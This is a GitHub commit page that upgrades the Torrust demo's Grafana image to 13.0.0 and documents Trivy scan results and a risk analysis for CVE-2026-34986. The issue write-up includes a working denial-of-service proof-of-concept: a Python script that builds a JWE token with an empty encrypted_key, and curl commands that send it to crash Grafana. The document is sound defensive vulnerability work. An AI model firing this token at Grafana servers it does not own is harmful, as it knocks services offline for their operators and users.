Skip to content

Commit b5ae273

Browse files
josecelanojosecelano
committed
chore: [#434] upgrade Grafana to 13.0.0 and document CVE-2026-34986 analysis
1 parent f6e4eae commit b5ae273

5 files changed

Lines changed: 336 additions & 22 deletions

File tree

‎.github/workflows/docker-security-scan.yml‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -101,7 +101,7 @@ jobs:
101101
timeout-minutes: 10
102102
outputs:
103103
# JSON array of Docker image references for use in scan matrix
104-
# Example: ["torrust/tracker:develop","mysql:8.4","prom/prometheus:v3.5.1","grafana/grafana:12.4.2","caddy:2.10.2"]
104+
# Example: ["torrust/tracker:develop","mysql:8.4","prom/prometheus:v3.5.1","grafana/grafana:13.0.0","caddy:2.10.2"]
105105
images: ${{ steps.extract.outputs.images }}
106106

107107
steps:

‎docs/issues/434-grafana-cves.md‎

Lines changed: 266 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -27,23 +27,279 @@ CRITICALs are fully cleared. 4 HIGH remain in upstream binary dependencies.
2727

2828
## Steps
2929

30-
- [ ] Check the latest Grafana release:
30+
- [x] Check the latest Grafana release:
3131
<https://hub.docker.com/r/grafana/grafana/tags>
32-
- [ ] Run Trivy against the latest tag:
32+
- [x] Run Trivy against the latest tag:
3333
`trivy image --severity HIGH,CRITICAL grafana/grafana:LATEST_TAG`
34-
- [ ] Compare results against the 12.4.2 baseline in
34+
- [x] Compare results against the 12.4.2 baseline in
3535
`docs/security/docker/scans/grafana.md`
3636
- [ ] **If a newer tag reduces HIGH count**: update `src/domain/grafana/config.rs`
3737
and the CI scan matrix; update the scan doc; post results comment; close #434
38-
- [ ] **If no improvement**: post comment with current scan output confirming
38+
- [x] **If no improvement**: post comment with current scan output confirming
3939
no CRITICALs and document accepted risk for remaining HIGH; close #434
4040

4141
## Outcome
4242

43-
<!-- Fill in after doing the work -->
43+
- Date: 2026-04-14
44+
- Grafana tags tested: `12.4.2` (13 HIGH, 0 CRITICAL) and `13.0.0` (10 HIGH, 0 CRITICAL)
45+
- Decision: **upgrade to `grafana/grafana:13.0.0`** — fixes CVE-2026-34986 (remote DoS)
46+
- Action: Updated `src/domain/grafana/config.rs` to `grafana/grafana:13.0.0`
47+
- Comment: posted on issue #434
4448

45-
- Date:
46-
- Latest Grafana tag tested:
47-
- Findings (HIGH / CRITICAL):
48-
- Decision: upgrade / accept risk
49-
- Comment/PR:
49+
### Scan details — `grafana/grafana:12.4.2` (Trivy, 2026-04-14)
50+
51+
| Component | HIGH | CRITICAL |
52+
| -------------------------- | ------ | -------- |
53+
| Alpine 3.23.3 (OS) | 3 | 0 |
54+
| `grafana` binary (Go deps) | 6 | 0 |
55+
| `grafana-cli` binary | 2 | 0 |
56+
| `grafana-server` binary | 2 | 0 |
57+
| **Total** | **13** | **0** |
58+
59+
**Alpine OS CVEs (all `fixed` in newer Alpine, blocked on Grafana rebuilding):**
60+
61+
| CVE | Package | Severity | Fix |
62+
| -------------- | -------------------- | -------- | -------- |
63+
| CVE-2026-28390 | libcrypto3 / libssl3 | HIGH | 3.5.6-r0 |
64+
| CVE-2026-22184 | zlib | HIGH | 1.3.2-r0 |
65+
66+
**Go binary CVEs (all `fixed` in newer upstream versions, blocked on Grafana updating):**
67+
68+
| CVE | Library | Severity | Fix |
69+
| -------------- | ------------------ | -------- | --------------- |
70+
| CVE-2026-34986 | go-jose/go-jose/v4 | HIGH | 4.1.4 |
71+
| CVE-2026-34040 | moby/moby | HIGH | 29.3.1 |
72+
| CVE-2026-24051 | otel/sdk | HIGH | 1.40.0 |
73+
| CVE-2026-39883 | otel/sdk | HIGH | 1.43.0 |
74+
| CVE-2026-32280 | stdlib | HIGH | 1.25.9 / 1.26.2 |
75+
| CVE-2026-32282 | stdlib | HIGH | 1.25.9 / 1.26.2 |
76+
77+
### CVE-2026-34986 — remotely exploitable DoS (highest risk)
78+
79+
**Advisory**: [GHSA-78h2-9frx-2jm8](https://github.com/go-jose/go-jose/security/advisories/GHSA-78h2-9frx-2jm8)
80+
**CVSS**: 7.5 High — `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
81+
**Root cause**: Dependency issue in `go-jose/go-jose/v4` (not Grafana's own code).
82+
**Mechanism**: If Grafana receives a JWE token whose `alg` field names a key-wrapping
83+
algorithm (e.g. `A128KW`) but with an empty `encrypted_key`, go-jose panics trying to
84+
allocate a zero-length slice in `cipher.KeyUnwrap()`. The panic crashes the goroutine
85+
and can bring down the Grafana process entirely.
86+
87+
**Is it exploitable via the public dashboard?** Yes. Grafana parses bearer tokens on
88+
all HTTP requests before checking authentication. An attacker can send:
89+
90+
```text
91+
Authorization: Bearer <crafted-JWE-with-empty-encrypted_key>
92+
```
93+
94+
to any endpoint on `grafana.torrust-tracker-demo.com` without any credentials and
95+
crash Grafana. The CVSS confirms this: no privileges required, no user interaction,
96+
network-reachable.
97+
98+
**Grafana's fix**: merged in PR
99+
[grafana/grafana#121830](https://github.com/grafana/grafana/pull/121830) 2 weeks
100+
ago, bumping `go-jose/v4` to `4.1.4`. The PR targets milestone **13.0.x** and is
101+
labelled `no-backport` — **no fix will be released for any 12.x version**.
102+
103+
**Status**: Fixed in `grafana/grafana:13.0.0` (bumped `go-jose/v4` to `4.1.4` via PR
104+
[grafana/grafana#121830](https://github.com/grafana/grafana/pull/121830)).
105+
`src/domain/grafana/config.rs` updated to `grafana/grafana:13.0.0`.
106+
107+
#### Proof-of-concept
108+
109+
> ⚠️ **Run against a local instance first.** Sending this to the live demo will
110+
> crash the public Grafana at `grafana.torrust-tracker-demo.com` until Docker
111+
> restarts it.
112+
113+
##### Step 1 — Generate the crafted JWE token
114+
115+
The JWE compact serialisation has five base64url segments separated by `.`:
116+
117+
```text
118+
<header>.<encrypted_key>.<iv>.<ciphertext>.<tag>
119+
```
120+
121+
The panic is triggered by setting `alg` to a KW algorithm and leaving
122+
`encrypted_key` (segment 2) empty.
123+
124+
```python
125+
# generate-jwe-poc.py
126+
import base64, json
127+
128+
header = {"alg": "A128KW", "enc": "A128CBC-HS256"}
129+
header_b64 = (
130+
base64.urlsafe_b64encode(
131+
json.dumps(header, separators=(",", ":")).encode()
132+
)
133+
.rstrip(b"=")
134+
.decode()
135+
)
136+
137+
# JWE compact: <header>.<encrypted_key>.<iv>.<ciphertext>.<tag>
138+
# Leave encrypted_key empty — this is the trigger.
139+
jwe = f"{header_b64}..AAAA.AAAA.AAAA"
140+
print(jwe)
141+
```
142+
143+
Run it:
144+
145+
```console
146+
$ python3 generate-jwe-poc.py
147+
eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2In0..AAAA.AAAA.AAAA
148+
```
149+
150+
##### Step 2 — Send the request
151+
152+
Replace `<TOKEN>` with the output from step 1 and `<HOST>` with either a local
153+
instance or the live demo.
154+
155+
```console
156+
$ TOKEN="eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2In0..AAAA.AAAA.AAAA"
157+
158+
# Against a local instance (safe — recommended first):
159+
$ curl -si -H "Authorization: Bearer $TOKEN" http://localhost:3000/api/health
160+
161+
# Against the live demo (will cause a brief outage — your own server):
162+
$ curl -si -H "Authorization: Bearer $TOKEN" https://grafana.torrust-tracker-demo.com/api/health
163+
```
164+
165+
##### Expected response from a vulnerable instance (12.4.2)
166+
167+
The HTTP connection drops or Grafana returns a 502 from Caddy because the process
168+
crashed:
169+
170+
```text
171+
HTTP/2 502
172+
content-type: text/html; charset=utf-8
173+
...
174+
<html>Bad Gateway</html>
175+
```
176+
177+
Alternatively the connection resets immediately with no response, depending on how
178+
fast Docker restarts the container.
179+
180+
The Grafana container log shows the panic:
181+
182+
```text
183+
goroutine 1 [running]:
184+
runtime/debug.Stack(...)
185+
/usr/local/go/src/runtime/debug/stack.go:24
186+
github.com/go-jose/go-jose/v4.(*symmetricKeyCipher).keyUnwrap(...)
187+
github.com/go-jose/go-jose/v4@v4.1.3/cipher/key_wrap.go:82 +0x...
188+
panic: runtime error: makeslice: len out of range
189+
```
190+
191+
To observe it locally:
192+
193+
```sh
194+
docker logs --follow torrust-grafana 2>&1 | grep -A 10 "panic"
195+
```
196+
197+
##### Expected response from a patched instance (13.0.x / go-jose 4.1.4)
198+
199+
Grafana returns a proper 400 Bad Request without crashing:
200+
201+
```text
202+
HTTP/2 400
203+
content-type: application/json
204+
205+
{"message":"JWE parse failed: go-jose/v4: invalid payload","requestId":"..."}
206+
```
207+
208+
##### Verifying the container recovered
209+
210+
After a crash, Docker's `restart: always` policy brings Grafana back in a few
211+
seconds. Confirm with:
212+
213+
```console
214+
$ docker inspect --format '{{.RestartCount}}' torrust-grafana
215+
1
216+
```
217+
218+
A non-zero restart count confirms the process was killed by the panic.
219+
220+
### Mitigation options
221+
222+
Three options exist for reducing exposure to CVE-2026-34986:
223+
224+
| Option | Effort | Completeness | Notes |
225+
| ---------------------------------- | ------ | ------------ | ----------------------------------------------------------- |
226+
| **Upgrade to 13.0.0** (chosen) | Low | Full fix | `go-jose/v4` bumped to `4.1.4`; DoS eliminated |
227+
| Caddy WAF rule | Medium | Partial | Block `Authorization` headers matching JWE compact format |
228+
| Accept risk + rely on auto-restart | None | None | Docker `restart: always` recovers single crashes in seconds |
229+
230+
**Upgrade to 13.0.0** is the only complete fix. Grafana labelled the `go-jose` bump
231+
`no-backport`, so 12.x will never receive a patch. `grafana/grafana:13.0.0` was
232+
released on 2026-04-11 and already ships `go-jose/v4 4.1.4`.
233+
234+
**Caddy WAF rule** (interim option, not applied): Caddy can reject requests whose
235+
`Authorization: Bearer` value matches the JWE compact format (five dot-separated
236+
base64url segments). This would block the PoC token before it reaches Grafana.
237+
Not applied here because upgrading to 13.0.0 is available and cleaner.
238+
239+
**Docker restart recovery**: Docker's `restart: always` policy brings Grafana back
240+
in seconds after a single crash. A sustained attack keeps it unavailable for the
241+
duration. This is a recovery mechanism, not a mitigation.
242+
243+
### Scan details — `grafana/grafana:13.0.0` (Trivy, 2026-04-14)
244+
245+
| Component | HIGH | CRITICAL |
246+
| -------------------------- | ------ | -------- |
247+
| Alpine 3.23.3 (OS) | 3 | 0 |
248+
| `grafana` binary (Go deps) | 2 | 0 |
249+
| `grafana-cli` binary | 0 | 0 |
250+
| `grafana-server` binary | 0 | 0 |
251+
| `elasticsearch` plugin | 5 | 0 |
252+
| **Total** | **10** | **0** |
253+
254+
**Improvements vs 12.4.2**: CVE-2026-34986 (`go-jose`) eliminated; CVE-2026-24051
255+
(`otel/sdk`) and CVE-2026-32280/CVE-2026-32282 (`stdlib`) also fixed. `grafana-cli`
256+
and `grafana-server` are fully clean (0 findings each).
257+
258+
**New in 13.0.0**: The bundled `elasticsearch` datasource plugin binary introduces
259+
5 HIGH CVEs (`otel/sdk` CVE-2026-39883, `stdlib` CVE-2026-25679 / CVE-2026-27137 /
260+
CVE-2026-32280 / CVE-2026-32282). All are local-only — PATH-hijack or
261+
internal-only code paths, not reachable via Grafana's HTTP layer.
262+
263+
**Version comparison:**
264+
265+
| Version | HIGH | CRITICAL | CVE-2026-34986 (remote DoS) |
266+
| -------- | ------ | -------- | --------------------------- |
267+
| `12.3.1` | 18 | 6 | present |
268+
| `12.4.2` | 13 | 0 | present |
269+
| `13.0.0` | **10** | **0** | **absent** |
270+
271+
**Alpine OS CVEs (unchanged — blocked on Grafana rebuilding against Alpine 3.23.6+):**
272+
273+
| CVE | Package | Severity | Fix |
274+
| -------------- | ---------- | -------- | -------- |
275+
| CVE-2026-28390 | libcrypto3 | HIGH | 3.5.6-r0 |
276+
| CVE-2026-28390 | libssl3 | HIGH | 3.5.6-r0 |
277+
| CVE-2026-22184 | zlib | HIGH | 1.3.2-r0 |
278+
279+
**Go binary CVEs remaining in `grafana` binary:**
280+
281+
| CVE | Library | Severity | Fix | Remote? |
282+
| -------------- | --------- | -------- | ------ | ------- |
283+
| CVE-2026-34040 | moby/moby | HIGH | 29.3.1 | No |
284+
| CVE-2026-39883 | otel/sdk | HIGH | 1.43.0 | No |
285+
286+
### Risk assessment for remaining CVEs
287+
288+
All remaining CVEs (10 HIGH, 0 CRITICAL in `grafana/grafana:13.0.0`) require local
289+
access or are not reachable via Grafana's HTTP layer:
290+
291+
| CVE | Exploitable remotely? | Reason |
292+
| -------------- | --------------------- | -------------------------------------------------------------------------- |
293+
| CVE-2026-28390 | No | Caddy terminates TLS; Grafana never processes raw TLS |
294+
| CVE-2026-22184 | No | `untgz` path — unreachable via dashboard UI |
295+
| CVE-2026-34040 | No | Moby Docker-client code, not a Grafana HTTP endpoint |
296+
| CVE-2026-39883 | No | Local PATH-hijack — requires host shell access |
297+
| CVE-2026-25679 | No | `elasticsearch` plugin internal path — not reachable via dashboard |
298+
| CVE-2026-27137 | No | `elasticsearch` plugin internal path — not reachable via dashboard |
299+
| CVE-2026-32280 | No | Go chain-building DoS on outbound TLS — not reachable from public internet |
300+
| CVE-2026-32282 | No | Local `Root.Chmod` symlink — requires host shell access |
301+
302+
**Overall risk**: CVE-2026-34986 (unauthenticated remote DoS) is eliminated by
303+
upgrading to `grafana/grafana:13.0.0`. The 10 remaining HIGH CVEs have no realistic
304+
remote attack path in this deployment. No CRITICALs in any version we are now
305+
deploying.

‎docs/security/docker/scans/grafana.md‎

Lines changed: 59 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -4,13 +4,65 @@ Security scan history for the `grafana/grafana` Docker image.
44

55
## Current Status
66

7-
| Version | HIGH | CRITICAL | Status | Last Scan | Support EOL |
8-
| ------- | ---- | -------- | ------------------------------------ | ----------- | ----------- |
9-
| 12.4.2 | 4 | 0 | ⚠️ Partial improvement after upgrade | Apr 8, 2026 | Unknown |
7+
| Version | HIGH | CRITICAL | Status | Last Scan | Support EOL |
8+
| ------- | ---- | -------- | ------------------------------------- | ------------ | ----------- |
9+
| 13.0.0 | 10 | 0 | ⚠️ Accepted risk (no remote exposure) | Apr 14, 2026 | Unknown |
10+
| 12.4.2 | 13 | 0 | ✅ Replaced by 13.0.0 | Apr 14, 2026 | Unknown |
1011

1112
## Scan History
1213

13-
### April 8, 2026 - Remediation Pass 1 (Issue #428)
14+
### April 14, 2026 - CVE-2026-34986 remediation (Issue #434)
15+
16+
**Image**: `grafana/grafana:13.0.0`
17+
**Trivy Version**: 0.68.2
18+
**Scan Mode**: `--scanners vuln --severity HIGH,CRITICAL`
19+
**Status**: ⚠️ **10 HIGH, 0 CRITICAL** — CVE-2026-34986 (remote DoS) eliminated
20+
21+
#### Summary
22+
23+
Full re-scan revealed 13 HIGH in `grafana/grafana:12.4.2` including CVE-2026-34986,
24+
an unauthenticated remote DoS via a crafted JWE bearer token (CVSS 7.5,
25+
AV:N/AC:L/PR:N/UI:N). The fix (bumping `go-jose/v4` to `4.1.4`) was merged in
26+
[grafana/grafana#121830](https://github.com/grafana/grafana/pull/121830) with label
27+
`no-backport` — no 12.x patch will be issued. Upgraded to `13.0.0`.
28+
29+
Vulnerability comparison:
30+
31+
- `12.4.2`: 13 HIGH, 0 CRITICAL (CVE-2026-34986 present)
32+
- `13.0.0`: 10 HIGH, 0 CRITICAL (CVE-2026-34986 **absent**)
33+
34+
Improvement: -3 HIGH; remote DoS eliminated.
35+
36+
Detail by target in 13.0.0:
37+
38+
- Alpine 3.23.3 base: 3 HIGH (openssl + zlib — same as 12.4.2, blocked on Alpine rebuild)
39+
- grafana binary: 2 HIGH (moby/moby CVE-2026-34040, otel/sdk CVE-2026-39883)
40+
- grafana-cli binary: 0 HIGH ✅
41+
- grafana-server binary: 0 HIGH ✅
42+
- elasticsearch plugin (new bundled binary): 5 HIGH (otel + stdlib, all local-only)
43+
44+
### April 14, 2026 - Full scan (Issue #434)
45+
46+
**Image**: `grafana/grafana:12.4.2`
47+
**Trivy Version**: 0.68.2 (updated DB)
48+
**Scan Mode**: `--scanners vuln --severity HIGH,CRITICAL`
49+
**Status**: ⚠️ **13 HIGH, 0 CRITICAL** — includes remote-exploitable CVE-2026-34986
50+
51+
#### Summary
52+
53+
Re-scan with updated Trivy DB (April 14) revealed 13 HIGH in `12.4.2`, significantly
54+
more than the 4 HIGH found in the April 8 scan due to new CVE entries added to the
55+
vulnerability database. CVE-2026-34986 (`go-jose/v4`, CVSS 7.5) is the only
56+
finding with a remote attack path.
57+
58+
Breakdown:
59+
60+
- Alpine 3.23.3 base: 3 HIGH (openssl + zlib)
61+
- grafana binary: 6 HIGH (go-jose, moby, otel × 2, stdlib × 2)
62+
- grafana-cli binary: 2 HIGH (moby + otel)
63+
- grafana-server binary: 2 HIGH (moby + otel)
64+
65+
### April 8, 2026 — Remediation Pass 1 (Issue #428)
1466

1567
**Image**: `grafana/grafana:12.4.2`
1668
**Trivy Version**: 0.68.2
@@ -26,15 +78,13 @@ Vulnerability comparison:
2678
- Previous (`12.3.1`): 18 HIGH, 6 CRITICAL
2779
- Current (`12.4.2`): 4 HIGH, 0 CRITICAL
2880

29-
Improvement: -14 HIGH, -6 CRITICAL
30-
31-
This is a strong reduction and clears all CRITICAL findings.
81+
Improvement: -14 HIGH, -6 CRITICAL. All CRITICAL findings cleared.
3282

33-
### April 8, 2026
83+
### April 8, 2026 — Prior scan pre-upgrade (12.3.1)
3484

3585
**Image**: `grafana/grafana:12.3.1`
3686
**Trivy Version**: 0.68.2
37-
**Status**: ⚠️ **24 vulnerabilities** (24 HIGH, 0 CRITICAL) - Significant increase from Dec scan
87+
**Status**: ⚠️ **24 vulnerabilities** (24 HIGH, 0 CRITICAL) — significant increase from Dec scan
3888

3989
#### Summary
4090

0 commit comments

Comments
 (0)